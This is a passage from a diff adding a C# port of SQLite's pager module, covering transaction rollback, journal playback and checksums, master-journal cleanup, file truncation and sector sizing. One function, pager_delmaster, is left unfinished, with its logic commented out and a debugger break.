pagerUnlockDb( pPager, SHARED_LOCK ); + pPager.changeCountDone = false; + } + pPager.eState = PAGER_READER; + pPager.setMaster = 0; + + return ( rc == SQLITE_OK ? rc2 : rc ); + } + + /* + ** Execute a rollback if a transaction is active and unlock the + ** database file. + ** + ** If the pager has already entered the ERROR state, do not attempt + ** the rollback at this time. Instead, pager_unlock() is called. The + ** call to pager_unlock() will discard all in-memory pages, unlock + ** the database file and move the pager back to OPEN state. If this + ** means that there is a hot-journal left in the file-system, the next + ** connection to obtain a shared lock on the pager (which may be this one) + ** will roll it back. + ** + ** If the pager has not already entered the ERROR state, but an IO or + ** malloc error occurs during a rollback, then this will itself cause + ** the pager to enter the ERROR state. Which will be cleared by the + ** call to pager_unlock(), as described above. + */ + static void pagerUnlockAndRollback( Pager pPager ) + { + if ( pPager.eState != PAGER_ERROR && pPager.eState != PAGER_OPEN ) + { + Debug.Assert( assert_pager_state( pPager ) ); + if ( pPager.eState >= PAGER_WRITER_LOCKED ) + { + sqlite3BeginBenignMalloc(); + sqlite3PagerRollback( pPager ); + sqlite3EndBenignMalloc(); + } + else if ( !pPager.exclusiveMode ) + { + Debug.Assert( pPager.eState == PAGER_READER ); + pager_end_transaction( pPager, 0 ); + } + } + pager_unlock( pPager ); + } + + /* + ** Parameter aData must point to a buffer of pPager.pageSize bytes + ** of data. Compute and return a checksum based ont the contents of the + ** page of data and the current value of pPager.cksumInit. + ** + ** This is not a real checksum. It is really just the sum of the + ** random initial value (pPager.cksumInit) and every 200th byte + ** of the page data, starting with byte offset (pPager.pageSize%200). + ** Each byte is interpreted as an 8-bit unsigned integer. + ** + ** Changing the formula used to compute this checksum results in an + ** incompatible journal file format. + ** + ** If journal corruption occurs due to a power failure, the most likely + ** scenario is that one end or the other of the record will be changed. + ** It is much less likely that the two ends of the journal record will be + ** correct and the middle be corrupt. Thus, this "checksum" scheme, + ** though fast and simple, catches the mostly likely kind of corruption. + */ + static u32 pager_cksum( Pager pPager, byte[] aData ) + { + u32 cksum = pPager.cksumInit; /* Checksum value to return */ + int i = pPager.pageSize - 200; /* Loop counter */ + while ( i > 0 ) + { + cksum += aData[i]; + i -= 200; + } + return cksum; + } + + /* + ** Report the current page size and number of reserved bytes back + ** to the codec. + */ +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + static void pagerReportSize( Pager pPager ) + { + if ( pPager.xCodecSizeChng != null ) + { + pPager.xCodecSizeChng( pPager.pCodec, pPager.pageSize, + pPager.nReserve ); + } + } +#else +//# define pagerReportSize(X) /* No-op if we do not support a codec */ +static void pagerReportSize(Pager X){} +#endif + + /* +** Read a single page from either the journal file (if isMainJrnl==1) or +** from the sub-journal (if isMainJrnl==0) and playback that page. +** The page begins at offset *pOffset into the file. The *pOffset +** value is increased to the start of the next page in the journal. +** +** The main rollback journal uses checksums - the statement journal does +** not. +** +** If the page number of the page record read from the (sub-)journal file +** is greater than the current value of Pager.dbSize, then playback is +** skipped and SQLITE_OK is returned. +** +** If pDone is not NULL, then it is a record of pages that have already +** been played back. If the page at *pOffset has already been played back +** (if the corresponding pDone bit is set) then skip the playback. +** Make sure the pDone bit corresponding to the *pOffset page is set +** prior to returning. +** +** If the page record is successfully read from the (sub-)journal file +** and played back, then SQLITE_OK is returned. If an IO error occurs +** while reading the record from the (sub-)journal file or while writing +** to the database file, then the IO error code is returned. If data +** is successfully read from the (sub-)journal file but appears to be +** corrupted, SQLITE_DONE is returned. Data is considered corrupted in +** two circumstances: +** +** * If the record page-number is illegal (0 or PAGER_MJ_PGNO), or +** * If the record is being rolled back from the main journal file +** and the checksum field does not match the record content. +** +** Neither of these two scenarios are possible during a savepoint rollback. +** +** If this is a savepoint rollback, then memory may have to be dynamically +** allocated by this function. If this is the case and an allocation fails, +** SQLITE_NOMEM is returned. +*/ + static int pager_playback_one_page( + Pager pPager, /* The pager being played back */ + ref i64 pOffset, /* Offset of record to playback */ + Bitvec pDone, /* Bitvec of pages already played back */ + int isMainJrnl, /* True for main rollback journal. False for Stmt jrnl */ + int isSavepnt /* True for a savepoint rollback */ + ) + { + int rc; + PgHdr pPg; /* An existing page in the cache */ + Pgno pgno = 0; /* The page number of a page in journal */ + u32 cksum = 0; /* Checksum used for sanity checking */ + byte[] aData; /* Temporary storage for the page */ + sqlite3_file jfd; /* The file descriptor for the journal file */ + bool isSynced; /* True if journal page is synced */ + + Debug.Assert( ( isMainJrnl & ~1 ) == 0 ); /* isMainJrnl is 0 or 1 */ + Debug.Assert( ( isSavepnt & ~1 ) == 0 ); /* isSavepnt is 0 or 1 */ + Debug.Assert( isMainJrnl != 0 || pDone != null ); /* pDone always used on sub-journals */ + Debug.Assert( isSavepnt != 0 || pDone == null ); /* pDone never used on non-savepoint */ + + aData = pPager.pTmpSpace; + Debug.Assert( aData != null ); /* Temp storage must have already been allocated */ + Debug.Assert( pagerUseWal( pPager ) == false || ( 0 == isMainJrnl && isSavepnt != 0 ) ); + + /* Either the state is greater than PAGER_WRITER_CACHEMOD (a transaction + ** or savepoint rollback done at the request of the caller) or this is + ** a hot-journal rollback. If it is a hot-journal rollback, the pager + ** is in state OPEN and holds an EXCLUSIVE lock. Hot-journal rollback + ** only reads from the main journal, not the sub-journal. + */ + Debug.Assert( pPager.eState >= PAGER_WRITER_CACHEMOD + || ( pPager.eState == PAGER_OPEN && pPager.eLock == EXCLUSIVE_LOCK ) + ); + Debug.Assert( pPager.eState >= PAGER_WRITER_CACHEMOD || isMainJrnl != 0 ); + + /* Read the page number and page data from the journal or sub-journal + ** file. Return an error code to the caller if an IO error occurs. + */ + jfd = isMainJrnl != 0 ? pPager.jfd : pPager.sjfd; + + rc = read32bits( jfd, pOffset, ref pgno ); + if ( rc != SQLITE_OK ) + return rc; + rc = sqlite3OsRead( jfd, aData, pPager.pageSize, ( pOffset ) + 4 ); + if ( rc != SQLITE_OK ) + return rc; + pOffset += pPager.pageSize + 4 + isMainJrnl * 4; + + /* Sanity checking on the page. This is more important that I originally + ** thought. If a power failure occurs while the journal is being written, + ** it could cause invalid data to be written into the journal. We need to + ** detect this invalid data (with high probability) and ignore it. + */ + if ( pgno == 0 || pgno == PAGER_MJ_PGNO( pPager ) ) + { + Debug.Assert( 0 == isSavepnt ); + return SQLITE_DONE; + } + if ( pgno > pPager.dbSize || sqlite3BitvecTest( pDone, pgno ) != 0 ) + { + return SQLITE_OK; + } + if ( isMainJrnl != 0 ) + { + rc = read32bits( jfd, ( pOffset ) - 4, ref cksum ); + if ( rc != 0 ) + return rc; + if ( 0 == isSavepnt && pager_cksum( pPager, aData ) != cksum ) + { + return SQLITE_DONE; + } + } + + /* If this page has already been played by before during the current + ** rollback, then don't bother to play it back again. + */ + if ( pDone != null && ( rc = sqlite3BitvecSet( pDone, pgno ) ) != SQLITE_OK ) + { + return rc; + } + + /* When playing back page 1, restore the nReserve setting + */ + if ( pgno == 1 && pPager.nReserve != ( aData )[20] ) + { + pPager.nReserve = ( aData )[20]; + pagerReportSize( pPager ); + } + + /* If the pager is in CACHEMOD state, then there must be a copy of this + ** page in the pager cache. In this case just update the pager cache, + ** not the database file. The page is left marked dirty in this case. + ** + ** An exception to the above rule: If the database is in no-sync mode + ** and a page is moved during an incremental vacuum then the page may + ** not be in the pager cache. Later: if a malloc() or IO error occurs + ** during a Movepage() call, then the page may not be in the cache + ** either. So the condition described in the above paragraph is not + ** assert()able. + ** + ** If in WRITER_DBMOD, WRITER_FINISHED or OPEN state, then we update the + ** pager cache if it exists and the main file. The page is then marked + ** not dirty. Since this code is only executed in PAGER_OPEN state for + ** a hot-journal rollback, it is guaranteed that the page-cache is empty + ** if the pager is in OPEN state. + ** + ** Ticket #1171: The statement journal might contain page content that is + ** different from the page content at the start of the transaction. + ** This occurs when a page is changed prior to the start of a statement + ** then changed again within the statement. When rolling back such a + ** statement we must not write to the original database unless we know + ** for certain that original page contents are synced into the main rollback + ** journal. Otherwise, a power loss might leave modified data in the + ** database file without an entry in the rollback journal that can + ** restore the database to its original form. Two conditions must be + ** met before writing to the database files. (1) the database must be + ** locked. (2) we know that the original page content is fully synced + ** in the main journal either because the page is not in cache or else + ** the page is marked as needSync==0. + ** + ** 2008-04-14: When attempting to vacuum a corrupt database file, it + ** is possible to fail a statement on a database that does not yet exist. + ** Do not attempt to write if database file has never been opened. + */ + if ( pagerUseWal( pPager ) ) + { + pPg = null; + } + else + { + pPg = pager_lookup( pPager, pgno ); + } + Debug.Assert( pPg != null || +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + pPager.memDb == 0 +#endif + ); + Debug.Assert( pPager.eState != PAGER_OPEN || pPg == null ); + + PAGERTRACE( "PLAYBACK %d page %d hash(%08x) %s\n", + PAGERID( pPager ), pgno, pager_datahash( pPager.pageSize, aData ), + ( isMainJrnl != 0 ? "main-journal" : "sub-journal" ) + ); + if ( isMainJrnl != 0 ) + { + isSynced = pPager.noSync || ( pOffset <= pPager.journalHdr ); + } + else + { + isSynced = ( pPg == null || 0 == ( pPg.flags & PGHDR_NEED_SYNC ) ); + } + if ( isOpen( pPager.fd ) + && ( pPager.eState >= PAGER_WRITER_DBMOD || pPager.eState == PAGER_OPEN ) + && isSynced + ) + { + i64 ofst = ( pgno - 1 ) * pPager.pageSize; + testcase( 0 == isSavepnt && pPg != null && ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ); + Debug.Assert( !pagerUseWal( pPager ) ); + rc = sqlite3OsWrite( pPager.fd, aData, pPager.pageSize, ofst ); + if ( pgno > pPager.dbFileSize ) + { + pPager.dbFileSize = pgno; + } + if ( pPager.pBackup != null ) + { + if ( CODEC1( pPager, aData, pgno, SQLITE_DECRYPT ) ) + rc = SQLITE_NOMEM; // CODEC1( pPager, aData, pgno, 3, rc = SQLITE_NOMEM ); + sqlite3BackupUpdate( pPager.pBackup, pgno, (u8[])aData ); + if ( CODEC2( pPager, aData, pgno, SQLITE_ENCRYPT_READ_CTX, ref aData ) ) + rc = SQLITE_NOMEM;//CODEC2( pPager, aData, pgno, 7, rc = SQLITE_NOMEM, aData); + } + } + else if ( 0 == isMainJrnl && pPg == null ) + { + /* If this is a rollback of a savepoint and data was not written to + ** the database and the page is not in-memory, there is a potential + ** problem. When the page is next fetched by the b-tree layer, it + ** will be read from the database file, which may or may not be + ** current. + ** + ** There are a couple of different ways this can happen. All are quite + ** obscure. When running in synchronous mode, this can only happen + ** if the page is on the free-list at the start of the transaction, then + ** populated, then moved using sqlite3PagerMovepage(). + ** + ** The solution is to add an in-memory page to the cache containing + ** the data just read from the sub-journal. Mark the page as dirty + ** and if the pager requires a journal-sync, then mark the page as + ** requiring a journal-sync before it is written. + */ + Debug.Assert( isSavepnt != 0 ); + Debug.Assert( pPager.doNotSpill == 0 ); + pPager.doNotSpill++; + rc = sqlite3PagerAcquire( pPager, pgno, ref pPg, 1 ); + Debug.Assert( pPager.doNotSpill == 1 ); + pPager.doNotSpill--; + if ( rc != SQLITE_OK ) + return rc; + pPg.flags &= ~PGHDR_NEED_READ; + sqlite3PcacheMakeDirty( pPg ); + } + if ( pPg != null ) + { + /* No page should ever be explicitly rolled back that is in use, except + ** for page 1 which is held in use in order to keep the lock on the + ** database active. However such a page may be rolled back as a result + ** of an internal error resulting in an automatic call to + ** sqlite3PagerRollback(). + */ + byte[] pData = pPg.pData; + Buffer.BlockCopy( aData, 0, pData, 0, pPager.pageSize );// memcpy(pData, (u8[])aData, pPager.pageSize); + pPager.xReiniter( pPg ); + if ( isMainJrnl != 0 && ( 0 == isSavepnt || pOffset <= pPager.journalHdr ) ) + { + /* If the contents of this page were just restored from the main + ** journal file, then its content must be as they were when the + ** transaction was first opened. In this case we can mark the page + ** as clean, since there will be no need to write it out to the + ** database. + ** + ** There is one exception to this rule. If the page is being rolled + ** back as part of a savepoint (or statement) rollback from an + ** unsynced portion of the main journal file, then it is not safe + ** to mark the page as clean. This is because marking the page as + ** clean will clear the PGHDR_NEED_SYNC flag. Since the page is + ** already in the journal file (recorded in Pager.pInJournal) and + ** the PGHDR_NEED_SYNC flag is cleared, if the page is written to + ** again within this transaction, it will be marked as dirty but + ** the PGHDR_NEED_SYNC flag will not be set. It could then potentially + ** be written out into the database file before its journal file + ** segment is synced. If a crash occurs during or following this, + ** database corruption may ensue. + */ + Debug.Assert( !pagerUseWal( pPager ) ); + sqlite3PcacheMakeClean( pPg ); + } + pager_set_pagehash( pPg ); + /* If this was page 1, then restore the value of Pager.dbFileVers. + ** Do this before any decoding. */ + if ( pgno == 1 ) + { + Buffer.BlockCopy( pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length ); //memcpy(pPager.dbFileVers, ((u8*)pData)[24], sizeof(pPager.dbFileVers)); + } + + /* Decode the page just read from disk */ + if ( CODEC1( pPager, pData, pPg.pgno, SQLITE_DECRYPT ) ) + rc = SQLITE_NOMEM; //CODEC1(pPager, pData, pPg.pgno, 3, rc=SQLITE_NOMEM); + sqlite3PcacheRelease( pPg ); + } + return rc; + } + + /* + ** Parameter zMaster is the name of a master journal file. A single journal + ** file that referred to the master journal file has just been rolled back. + ** This routine checks if it is possible to delete the master journal file, + ** and does so if it is. + ** + ** Argument zMaster may point to Pager.pTmpSpace. So that buffer is not + ** available for use within this function. + ** + ** When a master journal file is created, it is populated with the names + ** of all of its child journals, one after another, formatted as utf-8 + ** encoded text. The end of each child journal file is marked with a + ** nul-terminator byte (0x00). i.e. the entire contents of a master journal + ** file for a transaction involving two databases might be: + ** + ** "/home/bill/a.db-journal\x00/home/bill/b.db-journal\x00" + ** + ** A master journal file may only be deleted once all of its child + ** journals have been rolled back. + ** + ** This function reads the contents of the master-journal file into + ** memory and loops through each of the child journal names. For + ** each child journal, it checks if: + ** + ** * if the child journal exists, and if so + ** * if the child journal contains a reference to master journal + ** file zMaster + ** + ** If a child journal can be found that matches both of the criteria + ** above, this function returns without doing anything. Otherwise, if + ** no such child journal can be found, file zMaster is deleted from + ** the file-system using sqlite3OsDelete(). + ** + ** If an IO error within this function, an error code is returned. This + ** function allocates memory by calling sqlite3Malloc(). If an allocation + ** fails, SQLITE_NOMEM is returned. Otherwise, if no IO or malloc errors + ** occur, SQLITE_OK is returned. + ** + ** TODO: This function allocates a single block of memory to load + ** the entire contents of the master journal file. This could be + ** a couple of kilobytes or so - potentially larger than the page + ** size. + */ + static int pager_delmaster( Pager pPager, string zMaster ) + { + sqlite3_vfs pVfs = pPager.pVfs; + int rc; /* Return code */ + sqlite3_file pMaster; /* Malloc'd master-journal file descriptor */ + sqlite3_file pJournal; /* Malloc'd child-journal file descriptor */ + //string zMasterJournal = null; /* Contents of master journal file */ + i64 nMasterJournal; /* Size of master journal file */ + string zJournal; /* Pointer to one journal within MJ file */ + string zMasterPtr; /* Space to hold MJ filename from a journal file */ + int nMasterPtr; /* Amount of space allocated to zMasterPtr[] */ + + /* Allocate space for both the pJournal and pMaster file descriptors. + ** If successful, open the master journal file for reading. + */ + pMaster = new sqlite3_file();// (sqlite3_file*)sqlite3MallocZero( pVfs.szOsFile * 2 ); + pJournal = new sqlite3_file();// (sqlite3_file*)( ( (u8*)pMaster ) + pVfs.szOsFile ); + //if ( null == pMaster ) + //{ + // rc = SQLITE_NOMEM; + //} + //else + { + const int flags = ( SQLITE_OPEN_READONLY | SQLITE_OPEN_MASTER_JOURNAL ); + int iDummy = 0; + rc = sqlite3OsOpen( pVfs, zMaster, pMaster, flags, ref iDummy ); + } + if ( rc != SQLITE_OK ) + goto delmaster_out; + + Debugger.Break(); //TODO -- + + /* Load the entire master journal file into space obtained from + ** sqlite3_malloc() and pointed to by zMasterJournal. Also obtain + ** sufficient space (in zMasterPtr) to hold the names of master + ** journal files extracted from regular rollback-journals. + */ + //rc = sqlite3OsFileSize(pMaster, &nMasterJournal); + //if (rc != SQLITE_OK) goto delmaster_out; + //nMasterPtr = pVfs.mxPathname + 1; + // zMasterJournal = sqlite3Malloc((int)nMasterJournal + nMasterPtr + 1); + // if ( !zMasterJournal ) + // { + // rc = SQLITE_NOMEM; + // goto delmaster_out; + // } + // zMasterPtr = &zMasterJournal[nMasterJournal+1]; + // rc = sqlite3OsRead( pMaster, zMasterJournal, (int)nMasterJournal, 0 ); + // if ( rc != SQLITE_OK ) goto delmaster_out; + // zMasterJournal[nMasterJournal] = 0; + + + // zJournal = zMasterJournal; + // while ( ( zJournal - zMasterJournal ) < nMasterJournal ) + // { + // int exists; + // rc = sqlite3OsAccess( pVfs, zJournal, SQLITE_ACCESS_EXISTS, &exists ); + // if ( rc != SQLITE_OK ) + // { + // goto delmaster_out; + // } + // if ( exists ) + // { + // /* One of the journals pointed to by the master journal exists. + // ** Open it and check if it points at the master journal. If + // ** so, return without deleting the master journal file. + // */ + // int c; + // int flags = ( SQLITE_OPEN_READONLY | SQLITE_OPEN_MAIN_JOURNAL ); + // rc = sqlite3OsOpen( pVfs, zJournal, pJournal, flags, 0 ); + // if ( rc != SQLITE_OK ) + // { + // goto delmaster_out; + // } + + // rc = readMasterJournal( pJournal, zMasterPtr, nMasterPtr ); + // sqlite3OsClose( pJournal ); + // if ( rc != SQLITE_OK ) + // { + // goto delmaster_out; + // } + + // c = zMasterPtr[0] != 0 && strcmp( zMasterPtr, zMaster ) == 0; + // if ( c ) + // { + // /* We have a match. Do not delete the master journal file. */ + // goto delmaster_out; + // } + // } + // zJournal += ( sqlite3Strlen30( zJournal ) + 1 ); + // } + // + //sqlite3OsClose(pMaster); + //rc = sqlite3OsDelete( pVfs, zMaster, 0 ); + + + goto delmaster_out; +delmaster_out: + //sqlite3_free( ref zMasterJournal ); + if ( pMaster != null ) + { + sqlite3OsClose( pMaster ); + Debug.Assert( !isOpen( pJournal ) ); + //sqlite3_free( ref pMaster ); + } + return rc; + } + + + + /* + ** This function is used to change the actual size of the database + ** file in the file-system. This only happens when committing a transaction, + ** or rolling back a transaction (including rolling back a hot-journal). + ** + ** If the main database file is not open, or the pager is not in either + ** DBMOD or OPEN state, this function is a no-op. Otherwise, the size + ** of the file is changed to nPage pages (nPage*pPager.pageSize bytes). + ** If the file on disk is currently larger than nPage pages, then use the VFS + ** xTruncate() method to truncate it. + ** + ** Or, it might might be the case that the file on disk is smaller than + ** nPage pages. Some operating system implementations can get confused if + ** you try to truncate a file to some size that is larger than it + ** currently is, so detect this case and write a single zero byte to + ** the end of the new file instead. + ** + ** If successful, return SQLITE_OK. If an IO error occurs while modifying + ** the database file, return the error code to the caller. + */ + static int pager_truncate( Pager pPager, u32 nPage ) + { + int rc = SQLITE_OK; + Debug.Assert( pPager.eState != PAGER_ERROR ); + Debug.Assert( pPager.eState != PAGER_READER ); + + if ( isOpen( pPager.fd ) + && ( pPager.eState >= PAGER_WRITER_DBMOD || pPager.eState == PAGER_OPEN ) + ) + { + i64 currentSize = 0, newSize; + int szPage = pPager.pageSize; + Debug.Assert( pPager.eLock == EXCLUSIVE_LOCK ); + /* TODO: Is it safe to use Pager.dbFileSize here? */ + rc = sqlite3OsFileSize( pPager.fd, ref currentSize ); + newSize = szPage * nPage; + if ( rc == SQLITE_OK && currentSize != newSize ) + { + if ( currentSize > newSize ) + { + rc = sqlite3OsTruncate( pPager.fd, newSize ); + } + else + { + byte[] pTmp = pPager.pTmpSpace; + Array.Clear( pTmp, 0, szPage );//memset( pTmp, 0, szPage ); + testcase( ( newSize - szPage ) < currentSize ); + testcase( ( newSize - szPage ) == currentSize ); + testcase( ( newSize - szPage ) > currentSize ); + rc = sqlite3OsWrite( pPager.fd, pTmp, szPage, newSize - szPage ); + } + if ( rc == SQLITE_OK ) + { + pPager.dbSize = nPage; + } + } + } + return rc; + } + + /* + ** Set the value of the Pager.sectorSize variable for the given + ** pager based on the value returned by the xSectorSize method + ** of the open database file. The sector size will be used used + ** to determine the size and alignment of journal header and + ** master journal pointers within created journal files. + ** + ** For temporary files the effective sector size is always 512 bytes. + ** + ** Otherwise, for non-temporary files, the effective sector size is + ** the value returned by the xSectorSize() method rounded up to 512 if + ** it is less than 32, or rounded down to MAX_SECTOR_SIZE if it + ** is greater than MAX_SECTOR_SIZE. + */ + static void setSectorSize( Pager pPager ) + { + Debug.Assert( isOpen( pPager.fd ) || pPager.tempFile ); + if ( !pPager.tempFile ) + { + /* Sector size doesn't matter for temporary files. Also, the file + ** may not have been opened yet, in which case the OsSectorSize() + ** call will segfault. + */ + pPager.sectorSize = (u32)sqlite3OsSectorSize( pPager.fd ); + } + if ( pPager.sectorSize < 32 ) + { + Debug.Assert( MAX_SECTOR_SIZE >= 512 ); + pPager.sectorSize = 512; + } + if ( pPager.sectorSize > MAX_SECTOR_SIZE ) + { + pPager.sectorSize = MAX_SECTOR_SIZE; + } + } + + + /* + ** Playback the journal and thus restore the database file to + ** the state it was in before we started making changes. + ** + ** The journal file format is as follows: + ** + ** (1) 8 byte prefix. A copy of aJournalMagic[]. + ** (2) 4 byte big-endian integer which is the number of valid page records + ** in the journal. If this value is 0xffffffff, then compute the + ** number of page records from the journal size. + ** (3) 4 byte big-endian integer which is the initial value for the + ** sanity checksum. + ** (4) 4 byte integer which is the number of pages to truncate the + ** database to during a rollback. + ** (5) 4 byte big-endian integer which is the sector size. The header + ** is this many bytes in size. + ** (6) 4 byte big-endian integer which is the page size. + ** (7) zero padding out to the next sector size. + ** (8) Zero or more pages instances, each as follows: + ** + ** When we speak of the journal header, we mean the first 7 items above. + ** Each entry in the journal is an instance of the 8th item. + ** + ** Call the value from the second bullet "nRec". nRec is the number of + ** valid page entries in the journal. In most cases, you can compute the + ** value of nRec from the size of the journal file. But if a power + ** failure occurred while the journal was being written, it could be the + ** case that the size of the journal file had already been increased but + ** the extra entries had not yet made it safely to disk. In such a case, + ** the value of nRec computed from the file size would be too large. For + ** that reason, we always use the nRec value in the header. + ** + ** If the nRec value is 0xffffffff it means that nRec should be computed + ** from the file size. This value is used when the user selects the + ** no-sync option for the journal. A power failure could lead to corruption + ** in this case. But for things like temporary table (which will be + ** deleted when the power is restored) we don't care. + ** + ** If the file opened as the journal file is not a well-formed + ** journal file then all pages up to the first corrupted page are rolled + ** back (or no pages if the journal header is corrupted). The journal file + ** is then deleted and SQLITE_OK returned, just as if no corruption had + ** been encountered. + ** + ** If an I/O or malloc() error occurs, the journal-file is not deleted + ** and an error code is returned. + ** + ** The isHot parameter indicates that we are trying to rollback a journal + ** that might be a hot journal. Or, it could be that the journal is + ** preserved because of JOURNALMODE_PERSIST or JOURNALMODE_TRUNCATE. + ** If the journal really is hot, reset the pager cache prior rolling + ** back any content. If the journal is merely persistent, no reset is + ** needed. + */ + static int pager_playback( Pager pPager, int isHot ) + { + sqlite3_vfs pVfs = pPager.pVfs; + i64 szJ = 0; /* Size of the journal file in bytes */ + u32 nRec = 0; /* Number of Records in the journal */ + u32 u; /* Unsigned loop counter */ + u32 mxPg = 0; /* Size of the original file in pages */ + int rc; /* Result code of a subroutine */ + int res = 1; /* Value returned by sqlite3OsAccess() */ + byte[] zMaster = null; /* Name of master journal file if any */ + int needPagerReset; /* True to reset page prior to first page rollback */ + + /* Figure out how many records are in the journal. Abort early if + ** the journal is empty. + */ + Debug.Assert( isOpen( pPager.jfd ) ); + rc = sqlite3OsFileSize( pPager.jfd, ref szJ ); + if ( rc != SQLITE_OK ) + { + goto end_playback; + } + + /* Read the master journal name from the journal, if it is present. + ** If a master journal file name is specified, but the file is not + ** present on disk, then the journal is not hot and does not need to be + ** played back. + ** + ** TODO: Technically the following is an error because it assumes that + ** buffer Pager.pTmpSpace is (mxPathname+1) bytes or larger. i.e. that + ** (pPager.pageSize >= pPager.pVfs.mxPathname+1). Using os_unix.c, + ** mxPathname is 512, which is the same as the minimum allowable value + ** for pageSize. + */ + zMaster = new byte[pPager.pVfs.mxPathname + 1];// pPager.pTmpSpace ); + rc = readMasterJournal( pPager.jfd, zMaster, (u32)pPager.pVfs.mxPathname + 1 ); + if ( rc == SQLITE_OK && zMaster[0] != 0 ) + { + rc = sqlite3OsAccess( pVfs, Encoding.UTF8.GetString( zMaster, 0, zMaster.Length ), SQLITE_ACCESS_EXISTS, ref res ); + } + zMaster = null; + if ( rc != SQLITE_OK || res == 0 ) + { + goto end_playback; + } + pPager.journalOff = 0; + needPagerReset = isHot; + + /* This loop terminates either when a readJournalHdr() or + ** pager_playback_one_page() call returns SQLITE_DONE or an IO error + ** occurs. + */ + while ( true ) + { + + /* Read the next journal header from the journal file. If there are + ** not enough bytes left in the journal file for a complete header, or + ** it is corrupted, then a process must have failed while writing it. + ** This indicates nothing more needs to be rolled back. + */ + rc = readJournalHdr( pPager, isHot, szJ, out nRec, out mxPg ); + if ( rc != SQLITE_OK ) + { + if ( rc == SQLITE_DONE ) + { + rc = SQLITE_OK; + } + goto end_playback; + } + + /* If nRec is 0xffffffff, then this journal was created by a process + ** working in no-sync mode. This means that the rest of the journal + ** file consists of pages, there are no more journal headers. Compute + ** the value of nRec based on this assumption. + */ + if ( nRec == 0xffffffff ) + { + Debug.Assert( pPager.journalOff == JOURNAL_HDR_SZ( pPager ) ); + nRec = (u32)( ( szJ - JOURNAL_HDR_SZ( pPager ) ) / JOURNAL_PG_SZ( pPager ) ); + } + + /* If nRec is 0 and this rollback is of a transaction created by this + ** process and if this is the final header in the journal, then it means + ** that this part of the journal was being filled but has not yet been + ** synced to disk. Compute the number of pages based on the remaining + ** size of the file. + ** + ** The third term of the test was added to fix ticket #2565. + ** When rolling back a hot journal, nRec==0 always means that the next + ** chunk of the journal contains zero pages to be rolled back. But + ** when doing a ROLLBACK and the nRec==0 chunk is the last chunk in + ** the journal, it means that the journal might contain additional + ** pages that need to be rolled back and that the number of pages + ** should be computed based on the journal file size. + */ + if ( nRec == 0 && 0 == isHot && + pPager.journalHdr + JOURNAL_HDR_SZ( pPager ) == pPager.journalOff ) + { + nRec = (u32)( ( szJ - pPager.journalOff ) / JOURNAL_PG_SZ( pPager ) ); + } + + /* If this is the first header read from the journal, truncate the + ** database file back to its original size. + */ + if ( pPager.journalOff == JOURNAL_HDR_SZ( pPager ) ) + { + rc = pager_truncate( pPager, mxPg ); + if ( rc != SQLITE_OK ) + { + goto end_playback; + } + pPager.dbSize = mxPg; + } + + /* Copy original pages out of the journal and back into the + ** database file and/or page cache. + */ + for ( u = 0; u < nRec; u++ ) + { + if ( needPagerReset != 0 ) + { + pager_reset( pPager ); + needPagerReset = 0; + } + rc = pager_playback_one_page( pPager, ref pPager.journalOff, null, 1, 0 ); + if ( rc != SQLITE_OK ) + { + if ( rc == SQLITE_DONE ) + { + rc = SQLITE_OK; + pPager.journalOff = szJ; + break; + } + else if ( rc == SQLITE_IOERR_SHORT_READ ) + { + /* If the journal has been truncated, simply stop reading and + ** processing the journal. This might happen if the journal was + ** not completely written and synced prior to a crash. In that + ** case, the database should have never been written in the + ** first place so it is OK to simply abandon the rollback. */ + rc = SQLITE_OK; + goto end_playback; + } + else + { + /* If we are unable to rollback, quit and return the error + ** code. This will cause the pager to enter the error state + ** so that no further harm will be done. Perhaps the next + ** process to come along will be able to rollback the database. + */ + goto end_playback; + } + } + } + } +/*NOTREACHED*/ + + end_playback: + /* Following a rollback, the database file should be back in its original + ** state prior to the start of the transaction, so invoke the + ** SQLITE_FCNTL_DB_UNCHANGED file-control method to disable the + ** assertion that the transaction counter was modified. + */ + sqlite3_int64 iDummy = 0; + Debug.Assert( + pPager.fd.pMethods == null || + sqlite3OsFileControl( pPager.fd, SQLITE_FCNTL_DB_UNCHANGED, ref iDummy ) >= SQLITE_OK + ); + + /* If this playback is happening automatically as a result of an IO or + ** malloc error that occurred after the change-counter was updated but + ** before the transaction was committed, then the change-counter + ** modification may just have been reverted. If this happens in exclusive + ** mode, then subsequent transactions performed by the connection will not + ** update the change-counter at all. This may lead to cache inconsistency + ** problems for other processes at some point in the future. So, just + ** in case this has happened, clear the changeCountDone flag now. + */ + pPager.changeCountDone = pPager.tempFile; + + if ( rc == SQLITE_OK ) + { + zMaster = new byte[pPager.pVfs.mxPathname + 1];//pPager.pTmpSpace ); + rc = readMasterJournal( pPager.jfd, zMaster, (u32)pPager.pVfs.mxPathname + 1 ); + testcase( rc != SQLITE_OK ); + } + if ( rc == SQLITE_OK + && ( pPager.eState >= PAGER_WRITER_DBMOD || pPager.eState == PAGER_OPEN ) + ) + { + rc = sqlite3PagerSync( pPager ); + } + if ( rc == SQLITE_OK ) + { + rc = pager_end_transaction( pPager, zMaster[0] != '\0' ? 1 : 0 ); + testcase( rc != SQLITE_OK ); + } + if ( rc == SQLITE_OK && zMaster[0] != '\0' && res != 0 ) + { + /* If there was a master journal and this routine will return success, + ** see if it is possible to delete the master journal. + */ + rc = pager_delmaster( pPager, Encoding.UTF8.GetString( zMaster, 0, zMaster.Length ) ); + testcase( rc != SQLITE_OK ); + } + + /* The Pager.sectorSize variable may have been updated while rolling + ** back a journal created by a process with a different sector size + ** value. Reset it to the correct value for this process. + */ + setSectorSize( pPager ); + return rc; + } + + + /* + ** Read the content for page pPg out of the database file and into + ** pPg.pData. A shared lock or greater must be held on the database + ** file before this function is called. + ** + ** If page 1 is read, then the value of Pager.dbFileVers[] is set to + ** the value read from the database file. + ** + ** If an IO error occurs, then the IO error is returned to the caller. + ** Otherwise, SQLITE_OK is returned. + */ + static int readDbPage( PgHdr pPg ) + { + Pager pPager = pPg.pPager; /* Pager object associated with page pPg */ + Pgno pgno = pPg.pgno; /* Page number to read */ + int rc = SQLITE_OK; /* Return code */ + int isInWal = 0; /* True if page is in log file */ + int pgsz = pPager.pageSize; /* Number of bytes to read */ + + Debug.Assert( pPager.eState >= PAGER_READER && +#if SQLITE_OMIT_MEMORYDB +0 == MEMDB +#else + 0 == pPager.memDb +#endif + ); + Debug.Assert( isOpen( pPager.fd ) ); + + if ( NEVER( !isOpen( pPager.fd ) ) ) + { + 